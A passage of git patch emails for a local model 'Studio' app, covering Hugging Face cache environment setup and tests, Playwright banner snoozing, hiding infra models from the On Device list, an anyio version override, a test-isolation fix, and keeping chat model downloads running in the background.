+def _load_storage_roots():
+    spec = importlib.util.spec_from_file_location("storage_roots_under_test", _STORAGE_ROOTS_PATH)
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    return module
+
+
+def _clear_hf_env(monkeypatch):
+    for key in ("HF_HOME", "HF_HUB_CACHE", "HF_XET_CACHE", "HUGGINGFACE_HUB_CACHE"):
+        monkeypatch.delenv(key, raising = False)
+
+
+def test_custom_hf_home_seeds_hub_and_xet(monkeypatch, tmp_path):
+    sr = _load_storage_roots()
+    _clear_hf_env(monkeypatch)
+    custom = tmp_path / "shared" / "huggingface"
+    monkeypatch.setenv("HF_HOME", str(custom))
+
+    sr._setup_cache_env()
+
+    import os
+
+    assert os.environ["HF_HUB_CACHE"] == str(custom / "hub")
+    assert os.environ["HF_XET_CACHE"] == str(custom / "xet")
+
+
+def test_default_when_hf_home_unset(monkeypatch, tmp_path):
+    sr = _load_storage_roots()
+    _clear_hf_env(monkeypatch)
+    monkeypatch.setenv("XDG_CACHE_HOME", str(tmp_path / "xdg"))
+
+    sr._setup_cache_env()
+
+    import os
+
+    expected = tmp_path / "xdg" / "huggingface"
+    assert os.environ["HF_HUB_CACHE"] == str(expected / "hub")
+
+
+def test_explicit_hub_cache_is_not_overridden(monkeypatch, tmp_path):
+    sr = _load_storage_roots()
+    _clear_hf_env(monkeypatch)
+    monkeypatch.setenv("HF_HOME", str(tmp_path / "home"))
+    explicit = tmp_path / "explicit" / "hub"
+    monkeypatch.setenv("HF_HUB_CACHE", str(explicit))
+
+    sr._setup_cache_env()
+
+    import os
+
+    assert os.environ["HF_HUB_CACHE"] == str(explicit)
+
+
+def test_legacy_huggingface_hub_cache_alias_is_honored(monkeypatch, tmp_path):
+    sr = _load_storage_roots()
+    _clear_hf_env(monkeypatch)
+    monkeypatch.setenv("HF_HOME", str(tmp_path / "home"))
+    legacy = tmp_path / "legacy" / "hub"
+    monkeypatch.setenv("HUGGINGFACE_HUB_CACHE", str(legacy))
+
+    sr._setup_cache_env()
+
+    import os
+
+    assert os.environ["HF_HUB_CACHE"] == str(legacy)
+
+
+def test_whitespace_hf_home_falls_back_to_default(monkeypatch, tmp_path):
+    # A blank/whitespace HF_HOME must not become " /hub"; fall back to default.
+    sr = _load_storage_roots()
+    _clear_hf_env(monkeypatch)
+    monkeypatch.setenv("HF_HOME", "   ")
+    monkeypatch.setenv("XDG_CACHE_HOME", str(tmp_path / "xdg"))
+
+    sr._setup_cache_env()
+
+    import os
+
+    assert os.environ["HF_HUB_CACHE"] == str(tmp_path / "xdg" / "huggingface" / "hub")
+
+
+def test_unwritable_hf_home_does_not_crash(monkeypatch, tmp_path):
+    # HF_HOME under a regular file -> mkdir fails; startup must not crash and the
+    # env var is still set (HF surfaces a clear error later, at download time).
+    blocker = tmp_path / "blocker"
+    blocker.write_text("not a dir")
+    unwritable = blocker / "hf"
+    sr = _load_storage_roots()
+    _clear_hf_env(monkeypatch)
+    monkeypatch.setenv("HF_HOME", str(unwritable))
+
+    sr._setup_cache_env()  # must not raise
+
+    import os
+
+    assert os.environ["HF_HUB_CACHE"] == str(unwritable / "hub")
diff --git a/studio/backend/utils/paths/storage_roots.py b/studio/backend/utils/paths/storage_roots.py
index c718f38ffb..759681da3f 100644
--- a/studio/backend/utils/paths/storage_roots.py
+++ b/studio/backend/utils/paths/storage_roots.py
@@ -274,22 +274,37 @@ def _setup_cache_env() -> None:
 
     Respects the standard HF cache chain (explicit HF_HOME / HF_HUB_CACHE,
     then XDG_CACHE_HOME, then ~/.cache/huggingface) and only sets vars the
-    user hasn't, so explicit overrides are honored.
+    user hasn't, so explicit overrides are honored. A user-set HF_HOME also
+    seeds HF_HUB_CACHE / HF_XET_CACHE (HF defaults them to $HF_HOME/hub and
+    $HF_HOME/xet); without this, models download to and load from the standard
+    cache even when HF_HOME points elsewhere, and both the Xet and HTTP-fallback
+    download paths inherit the same wrong root.
     """
     root = cache_root()
     xdg_cache = Path(os.environ.get("XDG_CACHE_HOME", Path.home() / ".cache")).expanduser()
-    hf_default = xdg_cache / "huggingface"
+    # HUGGINGFACE_HUB_CACHE is HF's legacy alias for HF_HUB_CACHE; honor it.
+    if "HF_HUB_CACHE" not in os.environ and os.environ.get("HUGGINGFACE_HUB_CACHE"):
+        os.environ["HF_HUB_CACHE"] = os.environ["HUGGINGFACE_HUB_CACHE"]
+    # Seed the hub/xet caches from HF_HOME when set, else the platform default.
+    # Strip so a blank/whitespace HF_HOME falls back instead of making " /hub".
+    hf_home = (os.environ.get("HF_HOME") or "").strip()
+    hf_base = Path(hf_home).expanduser() if hf_home else xdg_cache / "huggingface"
     defaults: dict[str, str] = {
-        "HF_HOME": str(hf_default),
-        "HF_HUB_CACHE": str(hf_default / "hub"),
-        "HF_XET_CACHE": str(hf_default / "xet"),
+        "HF_HOME": str(hf_base),
+        "HF_HUB_CACHE": str(hf_base / "hub"),
+        "HF_XET_CACHE": str(hf_base / "xet"),
         "UV_CACHE_DIR": str(root / "uv"),
         "VLLM_CACHE_ROOT": str(root / "vllm"),
     }
     for key, value in defaults.items():
         if key not in os.environ:
             os.environ[key] = value
-            Path(value).mkdir(parents = True, exist_ok = True)
+            # Best-effort: a non-writable custom HF_HOME must not crash startup;
+            # HF surfaces a clear error at download time instead.
+            try:
+                Path(value).mkdir(parents = True, exist_ok = True)
+            except OSError:
+                pass
 
 
 def ensure_studio_directories() -> None:

From 3a9fc34fcf4aa62a77fa3183bb00e5fa345ac60e Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 08:27:18 -0700
Subject: [PATCH 037/306] Studio Playwright: snooze update banner before
 sending (#6576)

* Studio Playwright: snooze update banner before sending

The llama.cpp update banner is a fixed bottom-right toast (z-9998). When an
update is available it overlaps the composer's Send button and its subtree
intercepts the click, so send_and_wait times out (flaky; surfaces on the
Windows studio UI smoke, passes otherwise). Snooze the banner if it is
showing before each send, then wait for it to detach.

* Also snooze the web update banner before sending

The web update banner (web-update-banner, z-9999) is a fixed bottom-right
toast like the llama.cpp one and can overlap the Send button too. Loop over
both banners and snooze whichever is showing.
---
 tests/studio/playwright_chat_ui.py | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/tests/studio/playwright_chat_ui.py b/tests/studio/playwright_chat_ui.py
index 54e9ca2f46..f9147054ee 100644
--- a/tests/studio/playwright_chat_ui.py
+++ b/tests/studio/playwright_chat_ui.py
@@ -569,6 +569,21 @@ with sync_playwright() as p:
         #    this at temp 0), and the old non-empty predicate got stuck
         #    on such bubbles.
         bubbles_before = _bubble_count()
+        # The llama.cpp and web update banners are fixed bottom-right toasts
+        # (z-9998 / z-9999) that can overlap the composer's Send button and
+        # intercept the click. Snooze whichever is showing before sending.
+        for prefix in ("llama", "web"):
+            snooze_btn = page.locator(f'[data-testid="{prefix}-update-snooze-button"]')
+            if snooze_btn.count():
+                try:
+                    snooze_btn.first.click(timeout = 2_000)
+                    page.wait_for_selector(
+                        f'[data-testid="{prefix}-update-banner"]',
+                        state = "detached",
+                        timeout = 5_000,
+                    )
+                except Exception:
+                    pass
         composer.click()
         composer.fill(prompt)
         page.locator('button[aria-label="Send message"]').click()

From a2423e614ae921bd0d40b2821f94ec90c3b5ed7c Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Mon, 22 Jun 2026 08:33:17 -0700
Subject: [PATCH 038/306] Studio: hide RAG embedder from the On Device list
 (#6572)

* Studio: hide RAG embedder from the On Device list

The bge-small-en-v1.5 RAG embedder (and other infra models) were already
hidden from Discover but still showed up in the On Device browse list,
cluttering the user's downloaded models. They are now filtered out of On
Device the same way, while a search that matches still reveals the row so
the user can confirm it is already downloaded.

* Studio: also check path/title when hiding infra models from On Device

isHiddenModelId only saw row.id and row.repoId, but local inventory rows can
have a null repoId and an id that is a hash rather than the file path/name, so
the llama.cpp validation probe (stories260K.gguf) could slip into the On Device
list. Pass the local row's path and title too, mirroring the backend's
_is_hidden_model(m.id, m.path).

Addresses review feedback from gemini-code-assist on PR #6572.

* Studio: exclude infra models from On Device count and dataset list

The On Device hidden-model filter was applied to datasets too, so a
dataset whose id/title/path contained an infra needle (bge-small-en-v1.5,
stories260k.gguf) was wrongly hidden. Bypass the filter for datasets, the
same way Discover and the format filter already do.

The On Device header count and the Cache/Local stat pills still used the
unfiltered row counts, so a fresh install with only the bge embedder
cached read 1 over an empty list. Count visible (non-infra) rows instead,
keeping full counts for datasets.

* Studio: count search-revealed infra rows in the On Device tally

The visible-row counts excluded every hidden row unconditionally, but the
On Device list reveals a hidden row when the search query matches it. So
with only the bge embedder cached and a "bge" search, the list showed one
row while the header and Cache stat stayed 0. Reuse isVisibleInventoryRow
for the counts so a query-revealed row is counted, keeping them in step
with the list.

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 studio/frontend/src/features/hub/hub-page.tsx | 75 ++++++++++++++++---
 1 file changed, 66 insertions(+), 9 deletions(-)

diff --git a/studio/frontend/src/features/hub/hub-page.tsx b/studio/frontend/src/features/hub/hub-page.tsx
index 943aca5e9a..b3c9dd0dbe 100644
--- a/studio/frontend/src/features/hub/hub-page.tsx
+++ b/studio/frontend/src/features/hub/hub-page.tsx
@@ -740,6 +740,23 @@ export function ModelsPage() {
     () => (isDiscoverTab ? [] : tokenizeQuery(deferredDebouncedQuery)),
     [isDiscoverTab, deferredDebouncedQuery],
   );
+  // Hide infra models (e.g. the RAG embedder bge-small-en-v1.5) from the On
+  // Device list like Discover, but reveal a row when a query matches it so the
+  // user can confirm it is already downloaded.
+  const isVisibleInventoryRow = useCallback(
+    (row: CachedInventoryRow | LocalInventoryRow) =>
+      // Local rows can have a null repoId and an id that is a hash rather than
+      // the file path/name, so also check path/title (the backend's
+      // _is_hidden_model checks the on-disk path for the same reason).
+      !isHiddenModelId(
+        row.id,
+        row.repoId,
+        row.kind !== "cache" ? row.path : undefined,
+        row.kind !== "cache" ? row.title : undefined,
+      ) ||
+      (inventoryTokens.length > 0 && inventoryRowMatches(row, inventoryTokens)),
+    [inventoryTokens],
+  );
   // Format filter is a deliberate scope narrowing, so hard-filter it out. The
   // text query instead drives dim-not-filter on On Device (see ModelsCatalog) so
   // selection survives typing; matching rows are partitioned to the top.
@@ -748,12 +765,22 @@ export function ModelsPage() {
       partitionByMatch(
         effectiveCachedRows.filter(
           (row) =>
+            // Hidden-model filtering is model-only; datasets bypass it (and the
+            // format filter) the way Discover does, so a dataset whose
+            // id/title/path happens to contain an infra needle is not dropped.
             isDatasetMode ||
-            matchesFormat(row.modelFormat, deferredFormatFilter),
+            (matchesFormat(row.modelFormat, deferredFormatFilter) &&
+              isVisibleInventoryRow(row)),
         ),
         inventoryTokens,
       ),
-    [effectiveCachedRows, isDatasetMode, deferredFormatFilter, inventoryTokens],
+    [
+      effectiveCachedRows,
+      isDatasetMode,
+      deferredFormatFilter,
+      inventoryTokens,
+      isVisibleInventoryRow,
+    ],
   );
 
   const filteredLocalRows = useMemo(
@@ -761,12 +788,42 @@ export function ModelsPage() {
       partitionByMatch(
         effectiveLocalRows.filter(
           (row) =>
+            // Hidden-model filtering is model-only; datasets bypass it (and the
+            // format filter) the way Discover does, so a dataset whose
+            // id/title/path happens to contain an infra needle is not dropped.
             isDatasetMode ||
-            matchesFormat(row.modelFormat, deferredFormatFilter),
+            (matchesFormat(row.modelFormat, deferredFormatFilter) &&
+              isVisibleInventoryRow(row)),
         ),
         inventoryTokens,
       ),
-    [effectiveLocalRows, isDatasetMode, deferredFormatFilter, inventoryTokens],
+    [
+      effectiveLocalRows,
+      isDatasetMode,
+      deferredFormatFilter,
+      inventoryTokens,
+      isVisibleInventoryRow,
+    ],
+  );
+
+  // Header tallies exclude infra/hidden models so the count matches the On
+  // Device list (a fresh install with only the bge embedder cached reads 0,
+  // not 1 over an empty list). Reuse isVisibleInventoryRow so a hidden row
+  // revealed by an active search is counted too, and datasets (never infra)
+  // keep their full count, mirroring the row filter above.
+  const visibleCachedCount = useMemo(
+    () =>
+      effectiveCachedRows.filter(
+        (row) => isDatasetMode || isVisibleInventoryRow(row),
+      ).length,
+    [effectiveCachedRows, isDatasetMode, isVisibleInventoryRow],
+  );
+  const visibleLocalCount = useMemo(
+    () =>
+      effectiveLocalRows.filter(
+        (row) => isDatasetMode || isVisibleInventoryRow(row),
+      ).length,
+    [effectiveLocalRows, isDatasetMode, isVisibleInventoryRow],
   );
 
   const filterResetSignature = useMemo(
@@ -1315,15 +1372,15 @@ export function ModelsPage() {
     return (
       <HubListHeader
         title="On device"
-        count={effectiveCachedRows.length + effectiveLocalRows.length}
+        count={visibleCachedCount + visibleLocalCount}
         view={allModelsView}
         onViewChange={setAllModelsView}
         actions={sortControl}
       />
     );
   }, [
-    effectiveCachedRows.length,
-    effectiveLocalRows.length,
+    visibleCachedCount,
+    visibleLocalCount,
     allModelsView,
     setAllModelsView,
     inventorySort,
@@ -1337,8 +1394,8 @@ export function ModelsPage() {
     <div className="hub-page flex min-h-0 min-w-0 flex-1 basis-0 flex-col overflow-hidden bg-background">
       <HubTopBar>
         <ModelsHeader
-          cachedCount={effectiveCachedRows.length}
-          localCount={effectiveLocalRows.length}
+          cachedCount={visibleCachedCount}
+          localCount={visibleLocalCount}
           isDataset={isDatasetMode}
           gpuLabel={gpuLabel}
           ramLabel={ramLabel}

From 65c8a88fe4342f47e166b8334ae0ed351a8037a3 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 08:45:13 -0700
Subject: [PATCH 039/306] Studio macOS: force anyio<4.14.0 via uv override
 (#6575)

The macOS-arm studio venv still installs anyio 4.14.0 despite the
constraints.txt cap from #6546. mlx-vlm / mlx-lm pull anyio>=4.14, which
conflicts with the anyio<4.14.0 constraint; a uv -c constraint loses that
conflict so 4.14.0 gets installed, reintroducing the cancel-scope
RuntimeError on Python 3.13 (#6483). UV_OVERRIDE is already applied on
macOS-arm via overrides-darwin-arm64.txt and a uv override wins the
conflict, so cap anyio there too. macOS-arm now resolves anyio 4.13.0.
---
 .../requirements/single-env/overrides-darwin-arm64.txt      | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/studio/backend/requirements/single-env/overrides-darwin-arm64.txt b/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
index 2cd03d8b78..8558cd5b6c 100644
--- a/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
+++ b/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
@@ -3,3 +3,9 @@
 # backtrack unsloth. Relax to match the pin -- per-model 5.x routing
 # happens at runtime via the side-car venvs.
 transformers>=4.57.6
+
+# mlx-vlm / mlx-lm pull anyio>=4.14, which conflicts with the constraints.txt
+# cap (anyio<4.14.0, #6483: 4.14+ breaks cancel scope on Python 3.13). A -c
+# constraint loses that conflict on macOS-arm and 4.14.0 gets installed; an
+# override wins it, so force anyio down here too.
+anyio<4.14.0

From ce0323263eeb9d59ad8134ba7921ea53bffa074f Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 08:45:34 -0700
Subject: [PATCH 040/306] Fix test isolation: restore sys.modules after the
 pre-import gate test (#6578)

* Restore sys.modules in test_pre_import_gate_is_transformers_free

The test pops transformers and utils.models.model_config from sys.modules to
assert the pre-import security gate does not re-import them, but never put them
back. A later importer then rebound a fresh utils.models.model_config, so tests
that had captured the original instance missed their patches and hit the real
path: test_vision_cache patches _is_vision_model_uncached on the original
module, but is_vision_model (still bound to that original) ran the real network
lookup instead. This produced 17 spurious failures whenever test_ssm_runtime
ran before test_vision_cache in the same process.

Snapshot the removed modules and restore the original objects in a finally, so
the assertions still run against a clean slate while later tests see the same
module instances they captured at import time.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/tests/test_ssm_runtime.py | 46 +++++++++++++++++-------
 1 file changed, 33 insertions(+), 13 deletions(-)

diff --git a/studio/backend/tests/test_ssm_runtime.py b/studio/backend/tests/test_ssm_runtime.py
index 2f6bae9b79..bb0caa2887 100644
--- a/studio/backend/tests/test_ssm_runtime.py
+++ b/studio/backend/tests/test_ssm_runtime.py
@@ -445,20 +445,40 @@ def test_pre_import_gate_is_transformers_free():
     import utils.security.file_security as fs
     import utils.security.consent as consent
 
-    for m in list(_sys.modules):
-        if m == "transformers" or m.startswith("transformers.") or m == "utils.models.model_config":
+    def _is_gated_module(name: str) -> bool:
+        return (
+            name == "transformers"
+            or name.startswith("transformers.")
+            or name == "utils.models.model_config"
+        )
+
+    # Snapshot then remove the modules so we can assert the gate does not re-import them.
+    # Restore the originals afterwards (finally): popping utils.models.model_config without
+    # restoring it makes a later importer get a fresh instance, so tests that patched the
+    # first instance (e.g. test_vision_cache) miss and hit the real network path.
+    _saved = {m: _sys.modules[m] for m in list(_sys.modules) if _is_gated_module(m)}
+    for m in _saved:
+        _sys.modules.pop(m, None)
+
+    try:
+        with patch.object(fs, "_fetch_security_status", return_value = None):
+            fs.evaluate_file_security("nvidia/Nemotron-H-8B", load_subdirs = ())
+        with patch.object(
+            consent, "_load_remote_code_configs", return_value = [{"model_type": "nemotron_h"}]
+        ):
+            from utils.security import evaluate_remote_code_consent_for_targets
+            evaluate_remote_code_consent_for_targets(
+                ["nvidia/Nemotron-H-8B"], trust_remote_code = True
+            )
+
+        assert "transformers" not in _sys.modules
+        assert "utils.models.model_config" not in _sys.modules
+    finally:
+        # Drop anything the gate imported, then rebind the original module objects so later
+        # tests see the same instances they captured at import time.
+        for m in [m for m in list(_sys.modules) if _is_gated_module(m) and m not in _saved]:
             _sys.modules.pop(m, None)
-
-    with patch.object(fs, "_fetch_security_status", return_value = None):
-        fs.evaluate_file_security("nvidia/Nemotron-H-8B", load_subdirs = ())
-    with patch.object(
-        consent, "_load_remote_code_configs", return_value = [{"model_type": "nemotron_h"}]
-    ):
-        from utils.security import evaluate_remote_code_consent_for_targets
-        evaluate_remote_code_consent_for_targets(["nvidia/Nemotron-H-8B"], trust_remote_code = True)
-
-    assert "transformers" not in _sys.modules
-    assert "utils.models.model_config" not in _sys.modules
+        _sys.modules.update(_saved)
 
 
 def test_pre_import_gate_skips_subdir_computation():

From 0689bd38428786d97702f0a66b91427d2f55b820 Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Mon, 22 Jun 2026 08:51:14 -0700
Subject: [PATCH 041/306] Studio: keep model downloads running across
 navigation and loads (#6573)

* Studio: keep model downloads running across navigation and loads

Downloads started from the chat model selector were tied to the staged
pick lifecycle, so they were cancelled in cases where Hub downloads keep
going. This makes the chat download flow behave like the Hub.

- Leaving the chat route or switching thread/project/new chat now detaches
  the staging UI but keeps the in-flight transfer running in the global
  download manager (new keepDownload option on abandonStagedModel).
- Staging a second pick no longer cancels the previous pick's download, so
  multiple models/variants can download at once.
- Picking a model to download while another model is loading now starts the
  download in the background instead of refusing, since a download is
  independent of a load.

* Studio: also background-download remote GGUF quants while a model loads

isDownloadableHubRepo (wantManagerDownload) excludes GGUF sources, so an
uncached remote GGUF quant picked from the chat selector while another model
was loading fell through to the 'Another model is already loading' toast
instead of downloading in the background. Treat an uncached remote hub GGUF as
a background download too, matching the staged-pick download path.

Addresses review feedback from gemini-code-assist and codex on PR #6573.

* Studio: only toast a background download once it actually starts

The chat background-download path (used when a model is already loading)
fired the "Downloading in the background" toast unconditionally, but
requestStart can return without starting a job: a cross-transport partial
records a conflict that is only resolvable from the Hub download card, and
a busy sibling variant returns after its own toast. So the user could be
told a download started when none did, with no way to resolve the conflict
from chat.

requestStart now reports an outcome (started/conflict/busy/error). The
chat path only shows the success toast on an actual start and points the
user to the Hub when a transport conflict needs resolving. The Hub card
surface keeps its existing behavior (it renders the conflict resolver, so
it ignores the outcome).

* Studio: report background-download outcome from real job state

The chat background-download toast trusted requestStart's optimistic
"started", but a start can no-op without throwing: startJob finalizes the
job as "error" when the backend refuses or fails apiStart, its peer guard
skips a fresh start, and hasActiveOrPendingStart trips on a snapshot, peer
variant, or pending preflight that is not this request. So the user could
be told a download started when none did.

Derive the outcome from the actual job state of the exact key
(running/cancelling = started, otherwise error/busy), so the toast only
fires for a transfer that is really live.

Also guard against re-downloading the model that is already loading: the
/load flow downloads before it sets the checkpoint, and that fetch is not
a download-manager job, so picking the same id+variant again would start a
second transfer against the same cache. Detect that pick and surface a
"this model is already loading" toast instead.

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 studio/frontend/src/app/routes/__root.tsx     |  9 +-
 .../frontend/src/features/chat/chat-page.tsx  | 86 +++++++++++++++----
 .../chat/stores/chat-runtime-store.ts         | 28 +++---
 .../download-manager/transport-conflict.ts    | 63 ++++++++++----
 .../hub/download-manager/use-repo-download.ts |  6 +-
 5 files changed, 138 insertions(+), 54 deletions(-)

diff --git a/studio/frontend/src/app/routes/__root.tsx b/studio/frontend/src/app/routes/__root.tsx
index b7e7bc01d2..77ba5788db 100644
--- a/studio/frontend/src/app/routes/__root.tsx
+++ b/studio/frontend/src/app/routes/__root.tsx
@@ -182,7 +182,9 @@ function RootLayout() {
         chatRuntime.setActiveThreadId(null);
         chatRuntime.setActiveProjectId(null);
         chatRuntime.setIncognito(false);
-        if (chatRuntime.pendingSelection) chatRuntime.abandonStagedModel();
+        // Detach the staging UI but keep any in-flight download running, like Hub.
+        if (chatRuntime.pendingSelection)
+          chatRuntime.abandonStagedModel({ keepDownload: true });
         void navigate({
           to: "/chat",
           search: { new: crypto.randomUUID() },
@@ -205,7 +207,10 @@ function RootLayout() {
     chatRuntime.setActiveProjectId(null);
     chatRuntime.setActiveThreadId(null);
     chatRuntime.setIncognito(false);
-    if (chatRuntime.pendingSelection) chatRuntime.abandonStagedModel();
+    // Leaving chat must not kill an in-flight download: detach the staging UI
+    // but keep the transfer running in the manager, like a Hub download.
+    if (chatRuntime.pendingSelection)
+      chatRuntime.abandonStagedModel({ keepDownload: true });
   }, [isChatRoute]);
 
   return (
diff --git a/studio/frontend/src/features/chat/chat-page.tsx b/studio/frontend/src/features/chat/chat-page.tsx
index daad2c4524..ac0c4de75c 100644
--- a/studio/frontend/src/features/chat/chat-page.tsx
+++ b/studio/frontend/src/features/chat/chat-page.tsx
@@ -18,6 +18,10 @@ import {
 import { useSidebar } from "@/components/ui/sidebar";
 import { Tooltip, TooltipContent } from "@/components/ui/tooltip";
 import { useLatestRef } from "@/features/hub/hooks/use-latest-ref";
+import {
+  DOWNLOAD_KIND,
+  downloadManager,
+} from "@/features/hub/download-manager";
 import {
   type NativeIntent,
   NativeModelChip,
@@ -1093,6 +1097,11 @@ export function ChatPage({
   const abandonStaged = useCallback(() => {
     useChatRuntimeStore.getState().abandonStagedModel();
   }, []);
+  // Detach a staged pick on navigation without cancelling its download: the
+  // transfer keeps running in the manager and lands in cache, like Hub.
+  const detachStaged = useCallback(() => {
+    useChatRuntimeStore.getState().abandonStagedModel({ keepDownload: true });
+  }, []);
   // Tracks whether the chat page is still mounted, so a staged-load failure that
   // resolves after the user left chat doesn't resurrect the abandoned pick.
   const mountedRef = useRef(true);
@@ -1620,8 +1629,8 @@ export function ChatPage({
     const prev = prevChatContextRef.current;
     prevChatContextRef.current = chatContextKey;
     if (prev === null || prev === chatContextKey) return;
-    abandonStaged();
-  }, [chatContextKey, abandonStaged]);
+    detachStaged();
+  }, [chatContextKey, detachStaged]);
 
   const hasActiveModel = Boolean(inferenceParams.checkpoint);
   // Load immediately, or — when "Load on selection" is off — stage the pick so
@@ -1639,25 +1648,70 @@ export function ChatPage({
         (!hasGgufSource(selection) && !wantManagerDownload) ||
         (store.loadOnSelection && selection.isDownloaded)
       ) {
-        // Abandon any staged pick first so its edited knobs (e.g. a custom
-        // context length) don't leak into this immediate load -- resolveLoad
-        // reads customContextLength before checking the target is GGUF.
-        abandonStaged();
+        // Detach any staged pick first so its edited knobs don't leak into this
+        // immediate load. Detach (not abandon) keeps its download running.
+        detachStaged();
         await selectModel(selection);
         return;
       }
-      // Refuse staging while a load is in flight (it would be silently dropped);
-      // the immediate-load branch above is already guarded in selectModel.
+      // Loads can't queue behind each other, but a download is independent: if
+      // the pick needs downloading, start it in the manager so it runs alongside
+      // the load. Nothing to download (already on device) just waits.
       if (store.modelLoading) {
-        toast.info("Another model is already loading", {
-          description: "Wait for it to finish or cancel it first.",
-        });
+        // Both an uncached non-GGUF snapshot (wantManagerDownload) and an
+        // uncached remote GGUF quant download through the manager, so either can
+        // run in the background while another model loads. wantManagerDownload
+        // excludes GGUF by design, so the GGUF case is checked separately.
+        const wantBackgroundDownload =
+          wantManagerDownload ||
+          (selection.source === "hub" &&
+            hasGgufSource(selection) &&
+            !selection.isDownloaded);
+        // The model currently loading already downloads as part of its own load
+        // (the /load flow fetches before setting the checkpoint), so re-picking
+        // it must not kick off a second transfer against the same cache.
+        const isLoadingThisPick =
+          !!loadingModel &&
+          normalizeModelRef(loadingModel.id) ===
+            normalizeModelRef(selection.id) &&
+          (loadingModel.ggufVariant ?? null) === (selection.ggufVariant ?? null);
+        if (isLoadingThisPick) {
+          toast.info("This model is already loading", {
+            description: "It's downloading as part of the load in progress.",
+          });
+        } else if (wantBackgroundDownload) {
+          // Only claim the download started once a job is actually created. A
+          // transport conflict records state that is only resolvable from the
+          // Hub download card, so point the user there instead of showing a
+          // success toast for a transfer that never began; "busy" and "error"
+          // already surface their own toasts.
+          const outcome = await downloadManager.requestStart({
+            kind: DOWNLOAD_KIND.MODEL,
+            repoId: selection.id,
+            variant: selection.ggufVariant ?? null,
+            expectedBytes: selection.expectedBytes ?? 0,
+          });
+          if (outcome === "started") {
+            toast.info("Downloading in the background", {
+              description:
+                "It'll be ready to load once the current model finishes.",
+            });
+          } else if (outcome === "conflict") {
+            toast.info("Resume this download from the Hub", {
+              description:
+                "An earlier partial download used a different transport. Open the Hub tab to resume or restart it.",
+            });
+          }
+        } else {
+          toast.info("Another model is already loading", {
+            description: "Wait for it to finish or cancel it first.",
+          });
+        }
         return;
       }
-      // Tear down any existing staged pick first so its in-flight download is
-      // cancelled, not left running after we rebind to the new pick. With the
-      // toggle on, autoLoad downloads silently then loads; off stages for the sheet.
-      abandonStaged();
+      // Detach the prior staged pick (keeping its download) before rebinding, so
+      // a second pick downloads alongside the first instead of cancelling it.
+      detachStaged();
       store.stageModel({
         id: selection.id,
         isLora: selection.isLora,
@@ -1670,7 +1724,7 @@ export function ChatPage({
         autoLoad: store.loadOnSelection,
       });
     },
-    [abandonStaged, selectModel],
+    [detachStaged, selectModel, loadingModel],
   );
   const loadNativeModelIntent = useCallback(
     async (intent: NativeIntent, loadingDescription: string) => {
diff --git a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
index 4cca3dc2e3..059a454305 100644
--- a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
@@ -778,9 +778,10 @@ type ChatRuntimeStore = {
   /** Stage a pick for a deferred load: revert knobs to the loaded baseline,
    *  record the selection, and open the settings sheet. */
   stageModel: (selection: PendingModelSelection) => void;
-  /** Abandon a staged pick without loading: revert the knobs to the loaded
-   *  baseline and clear the pending selection. */
-  abandonStagedModel: () => void;
+  /** Abandon a staged pick without loading: revert knobs to the loaded baseline
+   *  and clear the pending selection. Cancels its in-flight download too, unless
+   *  `keepDownload` is set (navigation keeps the transfer running, like Hub). */
+  abandonStagedModel: (opts?: { keepDownload?: boolean }) => void;
   setCustomContextLength: (v: number | null) => void;
   setChatTemplateOverride: (template: string | null) => void;
   setPendingAudio: (base64: string, name: string) => void;
@@ -1544,15 +1545,9 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
     // Refuse staging mid-load: post-load cleanup would silently drop the queued
     // pick. stageOrLoad toasts first for callers that can.
     if (get().modelLoading) return;
+    // Rebinding to a new pick keeps the prior pick's download running so the
+    // user can queue multiple downloads at once (Hub-style).
     set((s) => {
-      if (
-        s.pendingSelection &&
-        (s.pendingSelection.id !== selection.id ||
-          (s.pendingSelection.ggufVariant ?? null) !==
-            (selection.ggufVariant ?? null))
-      ) {
-        cancelStagedModelDownload(s.pendingSelection);
-      }
       return {
         ...loadedBaselineSettings(s),
         pendingSelection: selection,
@@ -1566,14 +1561,13 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       };
     });
   },
-  abandonStagedModel: () => {
+  abandonStagedModel: (opts) => {
     const { pendingSelection } = get();
     if (!pendingSelection) return;
-    // Cancel the staged pick's in-flight download so it doesn't keep running
-    // after the staging UI is gone. Centralized here so every abandon path
-    // (sheet close, thread switch, route exit, new chat) cancels it, including
-    // root-level callers that have no access to the useRepoDownload hook.
-    cancelStagedModelDownload(pendingSelection);
+    // Cancel the staged pick's in-flight download (centralized for every abandon
+    // path: sheet close, thread switch, route exit, new chat). `keepDownload`
+    // opts out so navigation leaves the transfer running, like a Hub download.
+    if (!opts?.keepDownload) cancelStagedModelDownload(pendingSelection);
     set((s) => ({ ...loadedBaselineSettings(s), pendingSelection: null }));
   },
   setCustomContextLength: (customContextLength) => set({ customContextLength }),
diff --git a/studio/frontend/src/features/hub/download-manager/transport-conflict.ts b/studio/frontend/src/features/hub/download-manager/transport-conflict.ts
index 9125abed70..3267a6ae05 100644
--- a/studio/frontend/src/features/hub/download-manager/transport-conflict.ts
+++ b/studio/frontend/src/features/hub/download-manager/transport-conflict.ts
@@ -80,24 +80,50 @@ async function activeSiblingTransport(
   return null;
